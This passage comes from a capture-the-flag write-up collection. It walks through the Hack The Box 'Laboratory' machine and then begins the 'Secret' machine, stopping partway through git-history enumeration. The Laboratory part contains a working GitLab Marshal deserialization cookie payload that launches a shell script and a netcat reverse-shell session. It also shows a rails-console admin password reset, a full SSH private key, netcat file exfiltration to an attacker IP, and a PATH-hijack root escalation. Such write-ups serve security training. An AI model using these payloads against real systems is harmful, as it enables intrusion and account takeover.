Cookie: experimentation_subject_id=%42%41%68%76%4f%6b%42%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%6a%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%6c%5a%45%6c%75%63%33%52%68%62%6d%4e%6c%56%6d%46%79%61%57%46%69%62%47%56%51%63%6d%39%34%65%51%6b%36%44%6b%42%70%62%6e%4e%30%59%57%35%6a%5a%57%38%36%43%45%56%53%51%67%73%36%45%45%42%7a%59%57%5a%6c%58%32%78%6c%64%6d%56%73%4d%44%6f%4a%51%48%4e%79%59%30%6b%69%41%58%77%6a%59%32%39%6b%61%57%35%6e%4f%6c%56%55%52%69%30%34%43%6c%39%6c%63%6d%4a%76%64%58%51%67%50%53%41%72%4a%79%63%37%49%46%39%6c%63%6d%4a%76%64%58%51%75%50%44%77%6f%4b%43%42%67%5a%57%4e%6f%62%79%41%6e%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%7a%4c%7a%45%79%4d%7a%51%67%4d%44%34%6d%4d%53%63%67%50%69%41%76%64%47%31%77%4c%33%4e%6f%5a%57%78%73%4c%6e%4e%6f%59%43%41%70%4c%6e%52%76%58%33%4d%70%4f%79%42%66%5a%58%4a%69%62%33%56%30%42%6a%6f%47%52%55%59%36%44%6b%42%6c%62%6d%4e%76%5a%47%6c%75%5a%30%6c%31%4f%67%31%46%62%6d%4e%76%5a%47%6c%75%5a%77%70%56%56%45%59%74%4f%41%59%37%43%6b%59%36%45%30%42%6d%63%6d%39%36%5a%57%35%66%63%33%52%79%61%57%35%6e%4d%44%6f%4f%51%47%5a%70%62%47%56%75%59%57%31%6c%4d%44%6f%4d%51%47%78%70%62%6d%56%75%62%32%6b%41%4f%67%78%41%62%57%56%30%61%47%39%6b%4f%67%74%79%5a%58%4e%31%62%48%51%36%43%55%42%32%59%58%4a%4a%49%67%78%41%63%6d%56%7a%64%57%78%30%42%6a%73%4b%56%44%6f%51%51%47%52%6c%63%48%4a%6c%59%32%46%30%62%33%4a%4a%64%54%6f%66%51%57%4e%30%61%58%5a%6c%55%33%56%77%63%47%39%79%64%44%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%70%62%32%34%41%42%6a%73%4b%56%41%3d%3d%2d%2d%34%35%64%39%64%30%31%66%30%62%63%63%31%66%31%62%33%32%33%35%31%33%62%30%62%31%32%64%38%31%65%32%35%37%37%64%63%66%35%30; _gitlab_session=64a14454670dfee5793be2a3a7655626; event_filter=all; sidebar_collapsed=false

Content-Length: 2
```

Now the shell would be written in: /tmp/shell.sh

 - calling the shell

``` bash
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `bash /tmp/shell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
```

marshell-payload

``` bash
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiVCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvc2hlbGwuc2hgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--884348f2b9b207a302df24d298a43c040a8d1021
```

url-encode with burp

``` bash
%42%41%68%76%4f%6b%42%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%6a%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%6c%5a%45%6c%75%63%33%52%68%62%6d%4e%6c%56%6d%46%79%61%57%46%69%62%47%56%51%63%6d%39%34%65%51%6b%36%44%6b%42%70%62%6e%4e%30%59%57%35%6a%5a%57%38%36%43%45%56%53%51%67%73%36%45%45%42%7a%59%57%5a%6c%58%32%78%6c%64%6d%56%73%4d%44%6f%4a%51%48%4e%79%59%30%6b%69%56%43%4e%6a%62%32%52%70%62%6d%63%36%56%56%52%47%4c%54%67%4b%58%32%56%79%59%6d%39%31%64%43%41%39%49%43%73%6e%4a%7a%73%67%58%32%56%79%59%6d%39%31%64%43%34%38%50%43%67%6f%49%47%42%69%59%58%4e%6f%49%43%39%30%62%58%41%76%63%32%68%6c%62%47%77%75%63%32%68%67%49%43%6b%75%64%47%39%66%63%79%6b%37%49%46%39%6c%63%6d%4a%76%64%58%51%47%4f%67%5a%46%52%6a%6f%4f%51%47%56%75%59%32%39%6b%61%57%35%6e%53%58%55%36%44%55%56%75%59%32%39%6b%61%57%35%6e%43%6c%56%55%52%69%30%34%42%6a%73%4b%52%6a%6f%54%51%47%5a%79%62%33%70%6c%62%6c%39%7a%64%48%4a%70%62%6d%63%77%4f%67%35%41%5a%6d%6c%73%5a%57%35%68%62%57%55%77%4f%67%78%41%62%47%6c%75%5a%57%35%76%61%51%41%36%44%45%42%74%5a%58%52%6f%62%32%51%36%43%33%4a%6c%63%33%56%73%64%44%6f%4a%51%48%5a%68%63%6b%6b%69%44%45%42%79%5a%58%4e%31%62%48%51%47%4f%77%70%55%4f%68%42%41%5a%47%56%77%63%6d%56%6a%59%58%52%76%63%6b%6c%31%4f%68%39%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%67%41%47%4f%77%70%55%2d%2d%38%38%34%33%34%38%66%32%62%39%62%32%30%37%61%33%30%32%64%66%32%34%64%32%39%38%61%34%33%63%30%34%30%61%38%64%31%30%32%31
```

and replace the text in the experimentation_subject_id cookie with above url-encode

``` bash
GET / HTTP/1.1

Host: git.laboratory.htb

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,hi;q=0.8

Cookie: experimentation_subject_id=%42%41%68%76%4f%6b%42%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%6a%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%6c%5a%45%6c%75%63%33%52%68%62%6d%4e%6c%56%6d%46%79%61%57%46%69%62%47%56%51%63%6d%39%34%65%51%6b%36%44%6b%42%70%62%6e%4e%30%59%57%35%6a%5a%57%38%36%43%45%56%53%51%67%73%36%45%45%42%7a%59%57%5a%6c%58%32%78%6c%64%6d%56%73%4d%44%6f%4a%51%48%4e%79%59%30%6b%69%56%43%4e%6a%62%32%52%70%62%6d%63%36%56%56%52%47%4c%54%67%4b%58%32%56%79%59%6d%39%31%64%43%41%39%49%43%73%6e%4a%7a%73%67%58%32%56%79%59%6d%39%31%64%43%34%38%50%43%67%6f%49%47%42%69%59%58%4e%6f%49%43%39%30%62%58%41%76%63%32%68%6c%62%47%77%75%63%32%68%67%49%43%6b%75%64%47%39%66%63%79%6b%37%49%46%39%6c%63%6d%4a%76%64%58%51%47%4f%67%5a%46%52%6a%6f%4f%51%47%56%75%59%32%39%6b%61%57%35%6e%53%58%55%36%44%55%56%75%59%32%39%6b%61%57%35%6e%43%6c%56%55%52%69%30%34%42%6a%73%4b%52%6a%6f%54%51%47%5a%79%62%33%70%6c%62%6c%39%7a%64%48%4a%70%62%6d%63%77%4f%67%35%41%5a%6d%6c%73%5a%57%35%68%62%57%55%77%4f%67%78%41%62%47%6c%75%5a%57%35%76%61%51%41%36%44%45%42%74%5a%58%52%6f%62%32%51%36%43%33%4a%6c%63%33%56%73%64%44%6f%4a%51%48%5a%68%63%6b%6b%69%44%45%42%79%5a%58%4e%31%62%48%51%47%4f%77%70%55%4f%68%42%41%5a%47%56%77%63%6d%56%6a%59%58%52%76%63%6b%6c%31%4f%68%39%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%67%41%47%4f%77%70%55%2d%2d%38%38%34%33%34%38%66%32%62%39%62%32%30%37%61%33%30%32%64%66%32%34%64%32%39%38%61%34%33%63%30%34%30%61%38%64%31%30%32%31; _gitlab_session=64a14454670dfee5793be2a3a7655626; event_filter=all; sidebar_collapsed=false

Content-Length: 2
```

got the initial shell

``` bash
root@kali:~# nc -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.216.
Ncat: Connection from 10.10.10.216:32992.
bash: cannot set terminal process group (398): Inappropriate ioctl for device
bash: no job control in this shell
git@git:~/gitlab-rails/working$ id
id
uid=998(git) gid=998(git) groups=998(git)
git@git:~/gitlab-rails/working$ whoami
whoami
git
git@git:~/gitlab-rails/working$ pwd
pwd
/var/opt/gitlab/gitlab-rails/working
```

#### Resetting dexter password

Now since the gitlab is installed i can spawn a gitlab-rails console and reset the admin password , and check who is admin

 - [How to reset your root password](https://docs.gitlab.com/12.10/ee/security/reset_root_password.html)

``` bash
git@git:~/gitlab-rails/working$ python3 -c 'import pty; pty.spawn("/bin/bash")'
git@git:~/gitlab-rails/working$ gitlab-rails console
gitlab-rails console
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
```

 - username

``` bash
irb(main):001:0> user = User.where(id: 1).first
user = User.where(id: 1).first
user = User.where(id: 1).first
=> #<User id:1 @dexter>
```

So the admin user is dexter , the user i saw on the laboratory.htb web page

 - password

``` bash
irb(main):002:0> user.password = 'secret_pass'
user.password = 'secret_pass'
user.password = 'secret_pass'
=> "secret_pass"
irb(main):003:0> user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
user.password_confirmation = 'secret_pass'
=> "secret_pass"
```

and saving the edits

``` bash
irb(main):004:0> user.save!
user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 1457daea-259d-4e8e-8351-e121b5fdc5cd) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fdc4d4d2ae8 @uri=#<URI::GID gid://gitlab/User/1>>
=> true
```

#### Login as dexter on gitlab

Now i can login as

dexter : secret_pass

There is a repo called secureDocker

There is some personal stuff is saved by the dexter , even the script to create the gitlab lab

And in the folder dexter there is another folder .ssh in which private ssh keys are stored

I get the keys and used them to login myself as dexter using ssh

authorized_keys:

``` bash
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratory
```

id_rsa:

``` bash
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

#### Login as dexter

``` bash
root@kali:~/hackthebox/machine/laboratory# ssh -i id_rsa dexter@10.10.10.216
The authenticity of host '10.10.10.216 (10.10.10.216)' can't be established.
ECDSA key fingerprint is SHA256:XexmI3GbFIB7qyVRFDIYvKcLfMA9pcV9LeIgJO5KQaA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.216' (ECDSA) to the list of known hosts.
dexter@laboratory:~$ id
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$ whoami
dexter
dexter@laboratory:~$ ls
user.txt
dexter@laboratory:~$ cat user.txt
ab8b7d004b302b6d6d083d1da8d815a4
```

and we got user.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb123.jpg)


#### Privilege Escalation to root

Now its time for priv esc , run LinEnum.sh to check for possible things to escalate

And got this somewhere in the output

``` bash
[+] Possibly interesting SUID files:                                                                     
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security
```

I Run the binary , but it shows nothing

so i run pspy on the other hand and then run this binary and i saw some process running after running the docker-security

``` bash
2020/11/17 07:10:34 CMD: UID=0    PID=77936  | /usr/local/bin/docker-security 
2020/11/17 07:10:34 CMD: UID=0    PID=77938  | sh -c chmod 700 /usr/bin/docker 
2020/11/17 07:10:34 CMD: UID=0    PID=77939  | sh -c chmod 660 /var/run/docker.sock 
2020/11/17 07:10:34 CMD: UID=0    PID=77940  | sh -c chmod 660 /var/run/docker.sock
```

Its using chmod without specifying the full path /usr/bin/chmod

This type of thing can be exploited with Path-Hijacking

To confirm this downloaded the docker-security in my system and opened it with radare2

``` bash
dexter@laboratory:/usr/local/bin$ nc 10.10.14.3 10086 < docker-security
```

``` bash
root@kali:~/hackthebox/machine/laboratory# nc -l 10086 > docker-security
```

``` bash
root@kali:~/hackthebox/machine/laboratory# r2 docker-security
[0x00001070]> s main
[0x00001155]>
```

open the visual mode

``` bash
[0x00001155]> v
```

Now looking at the main function

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb124.jpg)


I can see that the binary is executing chmod without the full path

#### Path-Hijacking

Since i know that docker-security is using chmod without specifying it full path , This is kind of similar to my writeup on magic priv esc

 - [Hackthebox Magic writeup](https://0xprashant.github.io/posts/htb-magic/#privilege-escalation-to-root)

making a new shell script named chmod

``` bash
dexter@laboratory:~$ echo "/bin/bash" >> chmod
dexter@laboratory:~$ cat chmod 
/bin/bash
```

If this got executed by root it will give us a bash shell as root
export the PATH to script dir

``` bash
dexter@laboratory:~$ export PATH=$(pwd):$PATH
dexter@laboratory:~$ chmod +x chmod
```

run the docker-security,and we got root:

``` bash
dexter@laboratory:~$ /usr/local/bin/docker-security
root@laboratory:~# id
uid=0(root) gid=0(root) groups=0(root),1000(dexter)
root@laboratory:~# whoami
root
root@laboratory:~# cd ~
root@laboratory:~# ls
chmod  user.txt
root@laboratory:~# cd /root
root@laboratory:/root# ls
root.txt
root@laboratory:/root# cat root.txt
f6ba2567a8c309e3184f81fdca6dc37c
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb125.jpg)

#### Summary of knowledge

 - GitLab Community Edition 12.8.1 Arbitrary file read via the UploadsRewriter
 - GitLab Community Edition 12.8.1 Arbitrary file read RCE via gitlab-rails console generated payload cookies
 - gitlab-rails console reset password
 - Path-Hijacking via /usr/local/bin/docker-security

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end laboratory -->

</details>

<a id="case-secret"></a>

## Git 中的 Token Secret 与 core dump

Git 历史恢复 JWT 密钥，再触发命令拼接。SUID 程序崩溃留下的 core dump 形成独立文件读取证据。

<p class="kb-provenance">来源 secret · 原记录 2021-11-01 · 33 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-secret">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start secret -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	30 Oct 2021
IP:	10.10.11.120

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2092.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Open Ports

|Ports|Service|Takeaways|
|------|-----|-----|
|22|SSH|OpenSSH 8.2p1|
|80|HTTP|nginx 1.18.0|
|3000|HTTP|Node.js|

#### NMAP

``` bash
# Nmap 7.91 scan initiated Sun Oct 31 00:15:29 2021 as: nmap -vvv -p 22,80,3000 -A -v -sC -sV -oN intial.nmap 10.10.11.120
Nmap scan report for secret.htb (10.10.11.120)
Host is up, received syn-ack (0.23s latency).
Scanned at 2021-10-31 00:15:31 EDT for 21s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|   256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    syn-ack Node.js (Express middleware)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 31 00:15:52 2021 -- 1 IP address (1 host up) scanned in 24.06 seconds
```

#### Manual Enumeration

Just Visting websites on ports 80,3000 both looked same.
Just gazing through website 2 features looks intresting.

#### Live Demo

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2093.jpg)

which redirets to /api endpoint

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2094.jpg)

Nothing intresting for now so let's move on to the seond feature.

#### Source Code

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2095.jpg)

The website seeming gives out it source code on website just like any other open source projects.

So let's download it and inspects for something good.

Looking at the directory listing of source code it looks like it a git repository.

It was all confirmed by ohmyzsh in my case.

``` bash
➜  local-web git:(master) ls -al
total 116
drwxr-xr-x   8 kali kali  4096 Sep  3 01:57 .
drwxr-xr-x   3 kali kali  4096 Oct 31 00:28 ..
-rw-r--r--   1 kali kali    72 Sep  3 01:59 .env
drwxr-xr-x   8 kali kali  4096 Sep  8 14:33 .git
-rw-r--r--   1 kali kali   885 Sep  3 01:56 index.js
drwxr-xr-x   2 kali kali  4096 Aug 13 00:42 model
drwxr-xr-x 201 kali kali  4096 Aug 13 00:42 node_modules
-rw-r--r--   1 kali kali   491 Aug 13 00:42 package.json
-rw-r--r--   1 kali kali 69452 Aug 13 00:42 package-lock.json
drwxr-xr-x   4 kali kali  4096 Sep  3 01:54 public
drwxr-xr-x   2 kali kali  4096 Sep  3 02:32 routes
drwxr-xr-x   4 kali kali  4096 Aug 13 00:42 src
-rw-r--r--   1 kali kali   651 Aug 13 00:42 validations.js
```

I used git extractor tools to extract everything from the git archives.
Link to the GitTools I Used https://github.com/internetwache/GitTools

``` bash
mkdir dump
/root/GitTools-master/Extractor/extractor.sh local-web/ dump
```

and it will take time as it is a big repository so give it some time to complete.

While that's running I did some manual enumeration.

Looking at index.js we can see that the is an /api/user endpoint on auth route and auth route and it logic is defined in /route/auth.

so let's check /routes/auth.js

we can see there is the /register endpoint to register user so let's confirm this by sending a post request as get requests are not allowed.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# curl -X POST -H 'Content-Type: application/json' -v http://secret.htb/api/user/register --data '{"foo": "bar"}'
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.120:80...
* Connected to secret.htb (10.10.11.120) port 80 (#0)
> POST /api/user/register HTTP/1.1
> Host: secret.htb
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: application/json
> Content-Length: 14
> 
* upload completely sent off: 14 out of 14 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.18.0 (Ubuntu)
< Date: Mon, 01 Nov 2021 13:35:31 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 18
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"12-FCVaNPnXYf0hIGYsTUTYByRq5/U"
< 
* Connection #0 to host secret.htb left intact
"name" is required
```

looks like we have a valid endpoint so let's see what data it is expecting us to send in order to register a user.
Looks like it expects us to give name,email,password in order to register the user.
Looks like this schema is also defined in validation.js

``` js
const Joi = require('@hapi/joi')


// register validation 

const registerValidation = data =>{
    const schema = {
        name: Joi.string().min(6).required(),
        email: Joi.string().min(6).required().email(),
        password: Joi.string().min(6).required()
    };

    return Joi.validate(data, schema)
}

// login validation

const loginValidation = data => {
    const schema2 = {
        email: Joi.string().min(6).required().email(),
        password: Joi.string().min(6).required()
    };

    return Joi.validate(data, schema2)
}


module.exports.registerValidation = registerValidation
module.exports.loginValidation = loginValidation
```

so now we know that what we know how we can register and login as a user.

And we can see that login endpoint creates a JWT token upon loggin in.

``` js
const token = jwt.sign({ _id: user.id, name: user.name , email: user.email}, process.env.TOKEN_SECRET )
res.header('auth-token', token).send(token);
```

and now we know the location where secret is stored so we can just see it.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret]
└─# cat local-web/.env
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
```

but no luck I guess it redacted or used a dummy word but it can we in the previous commits so let's check in that dump folder.

####  Git Dump Enumeration

Now we have extracted everything from Git repo we can see there is a total of 6 commit.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/secret/dump]
└─# ls -la
总用量 32
drwxr-xr-x 8 root root 4096 11月  1 09:34 .
drwxr-xr-x 4 root root 4096 11月  1 09:28 ..
drwxr-xr-x 7 root root 4096 11月  1 09:30 0-67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
